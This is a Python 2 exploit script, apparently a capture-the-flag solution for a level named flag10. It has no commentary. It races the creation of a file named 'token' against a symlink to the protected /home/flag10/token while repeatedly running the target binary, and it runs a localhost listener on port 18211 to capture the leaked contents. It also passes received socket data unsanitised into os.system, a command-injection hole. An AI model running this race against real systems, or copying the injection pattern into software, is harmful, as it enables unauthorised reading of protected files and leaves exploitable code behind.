import os import socket import subprocess import threading import time import signal def read_until(s,msg): tmp = "" while True: tmp += s.recv(1) if msg in tmp: print tmp return def GetFlag(): s = socket.socket() Port = ('localhost',18211) s.bind(Port) s.listen(10) while True: cs,addr = s.accept() #print "[*]serer start " pid = os.fork() if pid==0: print "[*]server connection success ! " print read_until(cs,".oO Oo.") time.sleep(1) buf = cs.recv(100) print "[*]file is "+buf os.system("echo \""+buf+"\"> result") exit() else: os.waitpid(pid,0) def Racefile(): while True: os.system("rm -rf token") os.system("echo 'aaa' >> token") os.system("rm -rf token;ln -sf /home/flag10/token token") def Attack(): while True: args = "/home/flag10/flag10 token 127.0.0.1" proc = subprocess.Popen(args,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE) output = proc.communicate()[0] #print "[*]result: %s" %(output) os.system("rm -rf token") def main(): pid = os.fork() if pid == 0: Racefile() pid2 = os.fork() if pid2 == 0: GetFlag() Attack() if __name__ == '__main__': main()